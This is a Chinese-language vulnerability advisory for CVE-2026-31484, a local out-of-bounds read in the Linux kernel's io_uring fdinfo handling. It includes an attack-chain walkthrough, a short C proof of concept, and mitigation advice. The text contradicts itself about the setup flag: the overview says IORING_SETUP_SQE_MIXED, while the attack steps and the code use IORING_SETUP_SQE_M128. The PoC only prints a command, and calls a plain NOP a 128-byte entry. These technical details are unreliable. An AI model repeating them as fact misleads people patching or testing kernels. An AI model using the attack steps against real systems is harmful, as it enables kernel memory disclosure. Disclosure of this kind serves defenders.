IPBUF安全漏洞报告
English
CVE-2026-31484 CVSS 7.1 高危

CVE-2026-31484 Linux Kernel io_uring越界读取漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31484
漏洞类型
越界读取
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelOOB Readio_uring本地漏洞信息泄露

漏洞概述

Linux内核io_uring模块存在越界读取漏洞。在处理IORING_SETUP_SQE_MIXED环形缓冲区时,__io_uring_show_fdinfo()函数的边界检查逻辑存在缺陷,导致在特定条件下读取数组边界外的内存,可能泄露敏感信息。

技术细节

该漏洞源于Linux内核io_uring子系统中__io_uring_show_fdinfo()函数的数组边界检查逻辑错误。在使用IORING_SETUP_SQE_MIXED标志创建环形缓冲区时,允许混合使用64字节和128字节的SQE。当函数遍历挂起的SQE时,需要检测128字节SQE的后半部分是否越界。原有代码通过检查(++sq_head & sq_mask) == 0来判断回绕,但由于sq_head仅在处理128字节SQE时递增,导致在特定索引计算下,实际访问的数组索引sq_idx可能等于sq_mask(即数组末尾之后),从而触发越界读取。本地低权限攻击者可利用此漏洞读取内核敏感内存信息。

攻击链分析

STEP 1
1. 环境准备
攻击者在本地Linux系统上配置io_uring,使用IORING_SETUP_SQE_M128标志创建环形缓冲区,允许混合大小的SQE。
STEP 2
2. 触发条件
攻击者提交特定序列的SQE(包括128字节SQE),使得内部索引计算sq_idx达到sq_mask,同时绕过原有的越界检查。
STEP 3
3. 执行读取
通过读取/proc/[pid]/fdinfo/[fd]文件,触发内核执行__io_uring_show_fdinfo()函数。
STEP 4
4. 漏洞利用
由于检查逻辑缺陷,内核读取sq_sqes数组边界外的内存,导致信息泄露或潜在的内核崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <linux/io_uring.h> #include <liburing.h> #include <stdio.h> #include <unistd.h> // Conceptual PoC to demonstrate the vulnerable setup // CVE-2026-31484 int main() { struct io_uring_params p = {0}; // Setup io_uring with mixed SQE sizes (128-byte) // to trigger the vulnerable code path in fdinfo p.flags = IORING_SETUP_SQE_M128; struct io_uring ring; // Initialize io_uring ring int ret = io_uring_queue_init_params(32, &ring, &p); if (ret < 0) { perror("io_uring_queue_init_params"); return 1; } // Submit SQEs to populate the ring in a specific manner // that leads to the wrap check failure. struct io_uring_sqe *sqe; sqe = io_uring_get_sqe(&ring); if (!sqe) { fprintf(stderr, "Failed to get SQE\n"); return 1; } // Prepare a 128-byte SQE (NOP for demonstration) io_uring_prep_nop(sqe); // Submit the request io_uring_submit(&ring); printf("Ring FD: %d\n", ring.ring_fd); // Trigger the vulnerability by reading fdinfo // In a real exploit, this would cause the OOB read printf("Execute: cat /proc/self/fdinfo/%d\n", ring.ring_fd); pause(); // Keep alive to allow inspection io_uring_queue_exit(&ring); return 0; }

影响范围

Linux Kernel(具体受影响版本需参考上游提交5170efd9c344c68a8075dcb8ed38d3f8a60e7ed4)

防御指南

临时缓解措施
建议尽快升级内核。若无法立即升级,可考虑禁用io_uring功能(通过GRUB禁用或使用seccomp限制),并严格控制系统对/proc文件系统fdinfo的读取权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表